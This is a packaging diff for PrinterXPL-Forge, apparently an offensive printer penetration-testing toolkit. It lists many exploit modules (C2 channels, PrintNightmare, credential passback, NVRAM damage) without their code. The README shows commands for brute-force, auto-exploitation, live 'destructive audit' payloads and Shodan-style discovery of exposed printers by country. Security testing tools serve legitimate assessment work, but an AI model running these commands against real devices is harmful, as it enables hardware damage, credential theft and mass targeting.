- printerxpl_forge-6.5.2/xpl/research/research-hp-mfp-bof-2021-39237/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-pagewide-ssrf-2017-2750/exploit.py +122 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-pagewide-ssrf-2017-2750/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-pjl-traversal-2010-4107/exploit.py +129 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-pjl-traversal-2010-4107/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-printing-shellz/exploit.py +101 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-printing-shellz/metadata.json +35 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ps-bof-2025-26507/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ps-bof-2025-26507/metadata.json +46 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ps-bof-2025-26508/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-ps-bof-2025-26508/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-uart-bof-2022-3942/exploit.py +142 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-uart-bof-2022-3942/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-wsd-scan-rce-2026-4682/exploit.py +83 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-wsd-scan-rce-2026-4682/metadata.json +45 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-xps-bof/exploit.py +138 -0
- printerxpl_forge-6.5.2/xpl/research/research-hp-xps-bof/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-anon-inject/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-anon-inject/exploit.py +115 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-evil-twin/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-evil-twin/exploit.py +125 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-fuzz-enum/exploit.py +263 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-print-uri-ssrf/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-print-uri-ssrf/exploit.py +105 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-purge-dos/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-ipp-purge-dos/exploit.py +94 -0
- printerxpl_forge-6.5.2/xpl/research/research-konica-fw-upload/exploit.py +84 -0
- printerxpl_forge-6.5.2/xpl/research/research-konica-soap-extract/exploit.py +163 -0
- printerxpl_forge-6.5.2/xpl/research/research-kyocera-pjl-creds/exploit.py +146 -0
- printerxpl_forge-6.5.2/xpl/research/research-kyocera-pjl-creds/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-laser-scanner-attack/exploit.py +315 -0
- printerxpl_forge-6.5.2/xpl/research/research-ldap-hash-capture/exploit.py +258 -0
- printerxpl_forge-6.5.2/xpl/research/research-ldap-hash-capture/metadata.json +20 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-cve-2023-26067/exploit.py +243 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-driver-xxe-2025-4044/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-driver-xxe-2025-4044/metadata.json +45 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-esf-path-traversal-2025-65077/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-esf-path-traversal-2025-65077/metadata.json +49 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-esf-search-path-2025-65078/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-esf-search-path-2025-65078/metadata.json +49 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ews-path-traversal-2025-1127/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ews-path-traversal-2025-1127/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-fw-decrypt/exploit.py +163 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-fw-downgrade/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-fw-downgrade/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-heap-bof/exploit.py +120 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-heap-bof/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-bof-50734/exploit.py +118 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-bof-50734/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-bof-50736/exploit.py +114 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-bof-50736/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-oob-read-2025-65081/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-oob-read-2025-65081/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-type-confusion-2025-65080/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ps-type-confusion-2025-65080/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-pwn2own-2026/exploit.py +134 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-pwn2own-2026/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ssrf-ews-2025-9269/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ssrf-ews-2025-9269/metadata.json +47 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ssrf-rce-2023-23560/exploit.py +152 -0
- printerxpl_forge-6.5.2/xpl/research/research-lexmark-ssrf-rce-2023-23560/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-mirage-rogue-ldap/exploit.py +219 -0
- printerxpl_forge-6.5.2/xpl/research/research-mirai-printer-scan/exploit.py +204 -0
- printerxpl_forge-6.5.2/xpl/research/research-motor-jam-attack/exploit.py +299 -0
- printerxpl_forge-6.5.2/xpl/research/research-ms-rprn-coerce/exploit.py +135 -0
- printerxpl_forge-6.5.2/xpl/research/research-nmap-printer-nse/exploit.py +196 -0
- printerxpl_forge-6.5.2/xpl/research/research-nse-compat/exploit.py +235 -0
- printerxpl_forge-6.5.2/xpl/research/research-oki-b432-config-dump/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-oki-b432-config-dump/exploit.py +118 -0
- printerxpl_forge-6.5.2/xpl/research/research-papercut-pjl-scanner/exploit.py +134 -0
- printerxpl_forge-6.5.2/xpl/research/research-pjl-nvram-damage/exploit.py +210 -0
- printerxpl_forge-6.5.2/xpl/research/research-pjl-pwd-disclosure/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-pjl-pwd-disclosure/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-praeda-mfp-harvest/exploit.py +210 -0
- printerxpl_forge-6.5.2/xpl/research/research-pret-2.0-wrapper/exploit.py +213 -0
- printerxpl_forge-6.5.2/xpl/research/research-pret-wrapper/exploit.py +153 -0
- printerxpl_forge-6.5.2/xpl/research/research-print-track-steg/exploit.py +54 -0
- printerxpl_forge-6.5.2/xpl/research/research-print-track-steg/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-dns/exploit.py +109 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-dns/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-http/exploit.py +108 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-http/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-smb/exploit.py +99 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-c2-smb/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-fw-tamper/exploit.py +83 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-fw-tamper/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-grpc-shell/exploit.py +163 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-iot-lateral/exploit.py +84 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-iot-lateral/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-net-reconn/exploit.py +104 -0
- printerxpl_forge-6.5.2/xpl/research/research-printer-net-reconn/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-printnightmare/exploit.py +157 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-dos/exploit.py +228 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-filesystem/exploit.py +219 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-infinite-loop/exploit.py +122 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-job-capture/exploit.py +222 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-lang-abuse/exploit.py +78 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-lang-abuse/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-overlay-watermark/exploit.py +69 -0
- printerxpl_forge-6.5.2/xpl/research/research-ps-overlay-watermark/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-pyrrha-fw-analysis/exploit.py +210 -0
- printerxpl_forge-6.5.2/xpl/research/research-rfid-badge-exfil/exploit.py +65 -0
- printerxpl_forge-6.5.2/xpl/research/research-rfid-badge-exfil/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-driver-lpe-2019-19363/exploit.py +116 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-driver-lpe-2019-19363/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-ews-rce/exploit.py +86 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-ews-rce-2024-34161/exploit.py +156 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-ews-rce-2024-34161/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-fw-unsigned/exploit.py +90 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-http-bof/exploit.py +124 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-http-bof/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-http-bof-2024-34161/exploit.py +126 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-http-bof-2024-34161/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-ldap-passback/exploit.py +187 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-web-cmdinject/exploit.py +96 -0
- printerxpl_forge-6.5.2/xpl/research/research-ricoh-wpa-bof/exploit.py +63 -0
- printerxpl_forge-6.5.2/xpl/research/research-sharp-rce/exploit.py +121 -0
- printerxpl_forge-6.5.2/xpl/research/research-sharp-smtp-passback/exploit.py +175 -0
- printerxpl_forge-6.5.2/xpl/research/research-shodan-mass-discovery/exploit.py +199 -0
- printerxpl_forge-6.5.2/xpl/research/research-smartcard-printer-bypass/exploit.py +59 -0
- printerxpl_forge-6.5.2/xpl/research/research-smartcard-printer-bypass/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-smb-auth-relay-print/exploit.py +58 -0
- printerxpl_forge-6.5.2/xpl/research/research-smb-auth-relay-print/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-snmp-factory-reset/exploit.py +224 -0
- printerxpl_forge-6.5.2/xpl/research/research-ssport-lpe/exploit.py +111 -0
- printerxpl_forge-6.5.2/xpl/research/research-ssport-lpe/metadata.json +29 -0
- printerxpl_forge-6.5.2/xpl/research/research-tftp-loop-dos/exploit.py +127 -0
- printerxpl_forge-6.5.2/xpl/research/research-tftp-loop-dos/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-thermal-printer-rprint/exploit.py +60 -0
- printerxpl_forge-6.5.2/xpl/research/research-thermal-printer-rprint/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-toshiba-auth-bypass/exploit.py +96 -0
- printerxpl_forge-6.5.2/xpl/research/research-universal-printer-enum/exploit.py +72 -0
- printerxpl_forge-6.5.2/xpl/research/research-universal-printer-enum/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-wifi-printer-survey/exploit.py +206 -0
- printerxpl_forge-6.5.2/xpl/research/research-wsd-enum/__init__.py +0 -0
- printerxpl_forge-6.5.2/xpl/research/research-wsd-enum/exploit.py +144 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-altalink-unauth-2022-23968/exploit.py +146 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-altalink-unauth-2022-23968/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-firmware-root/exploit.py +161 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-http-bof/exploit.py +121 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-http-bof/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-ipp-bof/exploit.py +148 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-ipp-bof/metadata.json +1 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-passback/exploit.py +251 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-pjl-dlm/exploit.py +143 -0
- printerxpl_forge-6.5.2/xpl/research/research-xerox-workcentre-cmdinject/exploit.py +97 -0
- printerxpl_forge-6.5.2/xpl/research/research-xsp-beef/exploit.py +235 -0
- printerxpl_forge-6.5.2/xpl/research/research-zerologon-printserver/exploit.py +59 -0
- printerxpl_forge-6.5.2/xpl/research/research-zerologon-printserver/metadata.json +1 -0
- printerxpl_forge-6.2.2/PKG-INFO +0 -930
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/SOURCES.txt +0 -192
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/entry_points.txt +0 -4
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/requires.txt +0 -34
- printerxpl_forge-6.2.2/printerxpl_forge.egg-info/top_level.txt +0 -2
- printerxpl_forge-6.2.2/setup.cfg +0 -4
|
File without changes
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
# MANIFEST.in — files to include in the source distribution (sdist)
|
|
2
|
+
# Run: python -m build --sdist
|
|
3
|
+
# Then: twine upload dist/*.tar.gz
|
|
4
|
+
|
|
5
|
+
# License and metadata
|
|
6
|
+
include LICENSE
|
|
7
|
+
include README.md
|
|
8
|
+
include requirements.txt
|
|
9
|
+
include config.json.example
|
|
10
|
+
include config.yaml.example
|
|
11
|
+
|
|
12
|
+
# Launcher scripts
|
|
13
|
+
include printer-reaper.py
|
|
14
|
+
include run.sh
|
|
15
|
+
include run.ps1
|
|
16
|
+
|
|
17
|
+
# Wordlists (shipped with the package — no hardcoded credentials in source)
|
|
18
|
+
recursive-include wordlists *.txt *.md
|
|
19
|
+
|
|
20
|
+
# Exploit library
|
|
21
|
+
recursive-include xpl *.py *.json
|
|
22
|
+
exclude xpl/**/__pycache__
|
|
23
|
+
|
|
24
|
+
# PostScript assets (fonts, overlays)
|
|
25
|
+
recursive-include src/assets/fonts *.pfa
|
|
26
|
+
recursive-include src/assets/overlays *.eps
|
|
27
|
+
recursive-include src/assets/mibs *
|
|
28
|
+
|
|
29
|
+
# Diagrams (source files only, not generated PNGs)
|
|
30
|
+
recursive-include diagrams *.drawio *.mmd *.json
|
|
31
|
+
|
|
32
|
+
# Man page sources
|
|
33
|
+
recursive-include man *.1 *.gz
|
|
34
|
+
recursive-include packages/man *.1 *.gz
|
|
35
|
+
|
|
36
|
+
# Exclude generated / build artifacts
|
|
37
|
+
global-exclude *.pyc
|
|
38
|
+
global-exclude *.pyo
|
|
39
|
+
global-exclude __pycache__
|
|
40
|
+
global-exclude .DS_Store
|
|
41
|
+
global-exclude *.swp
|
|
42
|
+
prune .git
|
|
43
|
+
prune .venv
|
|
44
|
+
prune .log
|
|
45
|
+
prune .ml_models
|
|
46
|
+
prune dist
|
|
47
|
+
prune build
|
|
48
|
+
prune *.egg-info
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: printerxpl-forge
|
|
3
|
-
Version: 6.
|
|
3
|
+
Version: 6.5.2
|
|
4
4
|
Summary: Advanced Printer Penetration Testing Toolkit — PJL, PostScript, PCL, CVE scanner, brute-force, pivot, C2 research — 185 exploit modules
|
|
5
5
|
Author-email: Andre Henrique <mrhenrike@users.noreply.github.com>
|
|
6
6
|
License: MIT License
|
|
@@ -58,6 +58,40 @@ Requires-Dist: colorama>=0.4.6
|
|
|
58
58
|
Requires-Dist: pysnmp-lextudio>=5.0.31
|
|
59
59
|
Requires-Dist: pyasn1<0.6,>=0.4.8
|
|
60
60
|
Requires-Dist: PyYAML>=6.0
|
|
61
|
+
Provides-Extra: modern
|
|
62
|
+
Provides-Extra: full-depth
|
|
63
|
+
Provides-Extra: fullyear
|
|
64
|
+
Provides-Extra: full30
|
|
65
|
+
Provides-Extra: native-only
|
|
66
|
+
Provides-Extra: engines-rce
|
|
67
|
+
Provides-Extra: native-compilers
|
|
68
|
+
Provides-Extra: native-all
|
|
69
|
+
Provides-Extra: vendor-hp
|
|
70
|
+
Provides-Extra: vendor-ricoh
|
|
71
|
+
Provides-Extra: vendor-brother
|
|
72
|
+
Provides-Extra: vendor-xerox
|
|
73
|
+
Provides-Extra: vendor-lexmark
|
|
74
|
+
Provides-Extra: vendor-canon
|
|
75
|
+
Provides-Extra: vendor-epson
|
|
76
|
+
Provides-Extra: vendor-kyocera
|
|
77
|
+
Provides-Extra: vendor-samsung
|
|
78
|
+
Provides-Extra: vendor-generic
|
|
79
|
+
Provides-Extra: vendor-konica
|
|
80
|
+
Provides-Extra: vendor-toshiba
|
|
81
|
+
Provides-Extra: vendor-sharp
|
|
82
|
+
Provides-Extra: vendor-oki
|
|
83
|
+
Provides-Extra: vendor-cups
|
|
84
|
+
Provides-Extra: vendor-microsoft
|
|
85
|
+
Provides-Extra: modern-vendor-hp
|
|
86
|
+
Provides-Extra: modern-vendor-ricoh
|
|
87
|
+
Provides-Extra: modern-vendor-brother
|
|
88
|
+
Provides-Extra: modern-vendor-xerox
|
|
89
|
+
Provides-Extra: modern-vendor-lexmark
|
|
90
|
+
Provides-Extra: modern-vendor-canon
|
|
91
|
+
Provides-Extra: modern-vendor-epson
|
|
92
|
+
Provides-Extra: modern-vendor-kyocera
|
|
93
|
+
Provides-Extra: modern-vendor-samsung
|
|
94
|
+
Provides-Extra: modern-vendor-generic
|
|
61
95
|
Provides-Extra: smb
|
|
62
96
|
Requires-Dist: pysmb>=1.2.9; extra == "smb"
|
|
63
97
|
Requires-Dist: impacket>=0.12.0; extra == "smb"
|
|
@@ -82,6 +116,23 @@ Requires-Dist: scikit-learn>=1.3.0; extra == "full"
|
|
|
82
116
|
Requires-Dist: joblib>=1.3.0; extra == "full"
|
|
83
117
|
Dynamic: license-file
|
|
84
118
|
|
|
119
|
+
<p align="center">
|
|
120
|
+
<img src="docs/img/printerxpl-forge-banner_16x9.png" alt="PrinterXPL-Forge Banner" width="100%"/>
|
|
121
|
+
</p>
|
|
122
|
+
|
|
123
|
+

|
|
124
|
+
[](README.md#compatibility)
|
|
125
|
+
[](LICENSE)
|
|
126
|
+
[](https://github.com/mrhenrike)
|
|
127
|
+
[](https://github.com/mrhenrike/PrinterXPL-Forge/issues)
|
|
128
|
+
[](https://github.com/mrhenrike/PrinterXPL-Forge/commits)
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
> **Platform Note:** This framework is designed and tested primarily on **Linux** (Debian/Ubuntu/Kali). Most hardware-dependent modules (wireless adapters, USB devices, raw socket access, firmware tools) require Linux. Running on Windows or macOS may cause errors or limited functionality in many modules. Linux is strongly recommended for maximum compatibility.
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
85
136
|
<div align="center">
|
|
86
137
|
|
|
87
138
|
# PrinterXPL-Forge
|
|
@@ -90,13 +141,6 @@ Dynamic: license-file
|
|
|
90
141
|
|
|
91
142
|
**Discover · Fingerprint · Exploit · Pivot · Report**
|
|
92
143
|
|
|
93
|
-
[](https://python.org)
|
|
94
|
-
[](LICENSE)
|
|
95
|
-
[](https://github.com/mrhenrike/PrinterXPL-Forge)
|
|
96
|
-
[](https://github.com/mrhenrike/PrinterXPL-Forge/wiki)
|
|
97
|
-
[](https://github.com/mrhenrike/PrinterXPL-Forge/wiki/Home-pt-BR)
|
|
98
|
-
[](https://github.com/mrhenrike/PrinterXPL-Forge/releases)
|
|
99
|
-
|
|
100
144
|
> **"Is your printer safe from the void? Find out before someone else does."**
|
|
101
145
|
|
|
102
146
|
**[Wiki (en-us)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki)** · **[Wiki (pt-br)](https://github.com/mrhenrike/PrinterXPL-Forge/wiki/Home-pt-BR)** · **[Issues](https://github.com/mrhenrike/PrinterXPL-Forge/issues)** · **[Releases](https://github.com/mrhenrike/PrinterXPL-Forge/releases)** · **[CONTRIBUTING](CONTRIBUTING.md)** · **[CODE_OF_CONDUCT](CODE_OF_CONDUCT.md)** · **[README (pt-BR)](README.pt-BR.md)**
|
|
@@ -138,17 +182,17 @@ PrinterXPL-Forge includes a dedicated **Destructive Attack Audit** mode that sca
|
|
|
138
182
|
|
|
139
183
|
```bash
|
|
140
184
|
# Assess-only (dry-run — SAFE, no payloads sent)
|
|
141
|
-
python
|
|
185
|
+
python pxf.py 192.168.1.100 --destructive-audit
|
|
142
186
|
|
|
143
187
|
# Live execution — sends destructive payloads (AUTHORIZED LAB ONLY)
|
|
144
|
-
python
|
|
188
|
+
python pxf.py 192.168.1.100 --destructive-audit --no-dry
|
|
145
189
|
|
|
146
190
|
# Specific modules only
|
|
147
|
-
python
|
|
191
|
+
python pxf.py 192.168.1.100 --destructive-audit \
|
|
148
192
|
--destructive-modules research-fuser-thermal-attack,research-brother-nvram
|
|
149
193
|
|
|
150
194
|
# Interactive menu: choose option [D] DESTRUCTIVE AUDIT
|
|
151
|
-
python
|
|
195
|
+
python pxf.py
|
|
152
196
|
```
|
|
153
197
|
|
|
154
198
|
### Implemented Physical Destruction Modules
|
|
@@ -228,7 +272,7 @@ bash setup_venv.sh # Linux / macOS
|
|
|
228
272
|
|
|
229
273
|
./run.sh --help
|
|
230
274
|
# or
|
|
231
|
-
python
|
|
275
|
+
python pxf.py --version
|
|
232
276
|
```
|
|
233
277
|
|
|
234
278
|
Manual venv (alternative):
|
|
@@ -239,7 +283,7 @@ source .venv/bin/activate # Linux / macOS
|
|
|
239
283
|
.venv\Scripts\activate # Windows PowerShell
|
|
240
284
|
pip install -r requirements.txt
|
|
241
285
|
export PYTHONPATH=src
|
|
242
|
-
python
|
|
286
|
+
python pxf.py --version
|
|
243
287
|
```
|
|
244
288
|
|
|
245
289
|
**Requirements:** Python 3.8+ · Windows / Linux / macOS · 80 MB disk
|
|
@@ -249,21 +293,21 @@ python src/main.py --version
|
|
|
249
293
|
## Entry Point
|
|
250
294
|
|
|
251
295
|
```bash
|
|
252
|
-
python
|
|
296
|
+
python pxf.py [target] [mode] [options]
|
|
253
297
|
```
|
|
254
298
|
|
|
255
299
|
| Example | What it does |
|
|
256
300
|
|---------|-------------|
|
|
257
|
-
| `python
|
|
258
|
-
| `python
|
|
259
|
-
| `python
|
|
260
|
-
| `python
|
|
261
|
-
| `python
|
|
262
|
-
| `python
|
|
263
|
-
| `python
|
|
264
|
-
| `python
|
|
265
|
-
| `python
|
|
266
|
-
| `python
|
|
301
|
+
| `python pxf.py` | Interactive guided menu |
|
|
302
|
+
| `python pxf.py --help` | Full flag reference |
|
|
303
|
+
| `python pxf.py 192.168.1.100 --scan` | Passive fingerprint + CVE scan |
|
|
304
|
+
| `python pxf.py 192.168.1.100 pjl` | PJL interactive shell |
|
|
305
|
+
| `python pxf.py 192.168.1.100 --bruteforce --bf-vendor epson` | Credential brute-force |
|
|
306
|
+
| `python pxf.py 192.168.1.100 --auto-exploit` | Auto exploit selection + execution |
|
|
307
|
+
| `python pxf.py 192.168.1.100 --attack-matrix` | Full attack campaign |
|
|
308
|
+
| `python pxf.py --discover-online --shodan --dork-vendor hp --dork-country BR` | Dork discovery via Shodan only |
|
|
309
|
+
| `python pxf.py --discover-online --dork-engine shodan,netlas --dork-vendor hp,epson --dork-country BR,AR` | Multi-engine, multi-vendor CSV |
|
|
310
|
+
| `python pxf.py --discover-online --dork-vendor hp --dork-country BR` | Dork discovery via all configured engines |
|
|
267
311
|
|
|
268
312
|
---
|
|
269
313
|
|
|
@@ -273,24 +317,24 @@ By default PrinterXPL-Forge uses standard printer port numbers for each protocol
|
|
|
273
317
|
|
|
274
318
|
```bash
|
|
275
319
|
# Printer with RAW on 3910 instead of 9100
|
|
276
|
-
python
|
|
320
|
+
python pxf.py 192.168.1.100 pjl --port-raw 3910
|
|
277
321
|
|
|
278
322
|
# Full scan on a printer with non-standard ports
|
|
279
|
-
python
|
|
323
|
+
python pxf.py 192.168.1.100 --scan \
|
|
280
324
|
--port-raw 3910 \
|
|
281
325
|
--port-ipp 8631 \
|
|
282
326
|
--port-snmp 1161
|
|
283
327
|
|
|
284
328
|
# Add extra ports to banner scan sweep
|
|
285
|
-
python
|
|
329
|
+
python pxf.py 192.168.1.100 --scan \
|
|
286
330
|
--extra-ports 9200 --extra-ports 7100
|
|
287
331
|
|
|
288
332
|
# Brute-force with custom HTTP and FTP ports
|
|
289
|
-
python
|
|
333
|
+
python pxf.py 192.168.1.100 --bruteforce \
|
|
290
334
|
--port-http 8080 --port-ftp 2121 --port-telnet 2323
|
|
291
335
|
|
|
292
336
|
# Attack campaign respects all overrides
|
|
293
|
-
python
|
|
337
|
+
python pxf.py 192.168.1.100 --attack-matrix --port-raw 3910
|
|
294
338
|
```
|
|
295
339
|
|
|
296
340
|
**Port override flags:**
|
|
@@ -318,13 +362,13 @@ Overrides are applied globally at startup — every module (banner scan, PJL, fi
|
|
|
318
362
|
|
|
319
363
|
```bash
|
|
320
364
|
# SNMP sweep + installed printers on this host
|
|
321
|
-
python
|
|
365
|
+
python pxf.py --discover-local
|
|
322
366
|
|
|
323
367
|
# Passive OSINT check for a specific IP
|
|
324
|
-
python
|
|
368
|
+
python pxf.py 192.168.1.100 --osint
|
|
325
369
|
|
|
326
370
|
# Detect supported languages without connecting
|
|
327
|
-
python
|
|
371
|
+
python pxf.py 192.168.1.100 --auto-detect
|
|
328
372
|
```
|
|
329
373
|
|
|
330
374
|
### Online — Structured Dork Discovery (v3.12.0+)
|
|
@@ -336,38 +380,38 @@ python printerxpl-forge.py 192.168.1.100 --auto-detect
|
|
|
336
380
|
|
|
337
381
|
```bash
|
|
338
382
|
# All Epson + Ricoh printers in Latin America, port 515 — all engines
|
|
339
|
-
python
|
|
383
|
+
python pxf.py --discover-online \
|
|
340
384
|
--dork-vendor epson,ricoh \
|
|
341
385
|
--dork-region latin_america \
|
|
342
386
|
--dork-port 515
|
|
343
387
|
|
|
344
388
|
# HP DeskJet Pro 5500 in Brazil — Shodan only (single engine flag)
|
|
345
|
-
python
|
|
389
|
+
python pxf.py --discover-online --shodan \
|
|
346
390
|
--dork-vendor hp \
|
|
347
391
|
--dork-model "deskjet pro 5500" \
|
|
348
392
|
--dork-country BR
|
|
349
393
|
|
|
350
394
|
# All printers in São Paulo port 9100 (CSV + single-country city filter)
|
|
351
|
-
python
|
|
395
|
+
python pxf.py --discover-online \
|
|
352
396
|
--dork-country BR \
|
|
353
397
|
--dork-city "Sao Paulo","Rio de Janeiro" \
|
|
354
398
|
--dork-port 9100
|
|
355
399
|
|
|
356
400
|
# Kyocera in Europe, 200 results — Netlas only
|
|
357
|
-
python
|
|
401
|
+
python pxf.py --discover-online --netlas \
|
|
358
402
|
--dork-vendor kyocera \
|
|
359
403
|
--dork-region europe \
|
|
360
404
|
--dork-limit 200
|
|
361
405
|
|
|
362
406
|
# Multiple vendors and countries via CSV — Shodan + ZoomEye (multi-engine)
|
|
363
|
-
python
|
|
407
|
+
python pxf.py --discover-online \
|
|
364
408
|
--dork-engine shodan,zoomeye \
|
|
365
409
|
--dork-vendor hp,canon \
|
|
366
410
|
--dork-country BR,AR \
|
|
367
411
|
--dork-port 9100,631
|
|
368
412
|
|
|
369
413
|
# Five engines at once
|
|
370
|
-
python
|
|
414
|
+
python pxf.py --discover-online \
|
|
371
415
|
--dork-engine shodan,censys,fofa,zoomeye,netlas \
|
|
372
416
|
--dork-vendor epson --dork-port 9100
|
|
373
417
|
```
|
|
@@ -411,19 +455,19 @@ python printerxpl-forge.py --discover-online \
|
|
|
411
455
|
|
|
412
456
|
```bash
|
|
413
457
|
# Full passive scan: banner grab + CVE/NVD lookup + exploit matching
|
|
414
|
-
python
|
|
458
|
+
python pxf.py 192.168.1.100 --scan
|
|
415
459
|
|
|
416
460
|
# Same + ML fingerprinting and attack scoring
|
|
417
|
-
python
|
|
461
|
+
python pxf.py 192.168.1.100 --scan-ml
|
|
418
462
|
|
|
419
463
|
# Offline (skip NVD API)
|
|
420
|
-
python
|
|
464
|
+
python pxf.py 192.168.1.100 --scan --no-nvd
|
|
421
465
|
|
|
422
466
|
# Scan + immediately match exploit modules
|
|
423
|
-
python
|
|
467
|
+
python pxf.py 192.168.1.100 --scan --xpl
|
|
424
468
|
|
|
425
469
|
# Combined: scan auto-populates vendor + serial for bruteforce
|
|
426
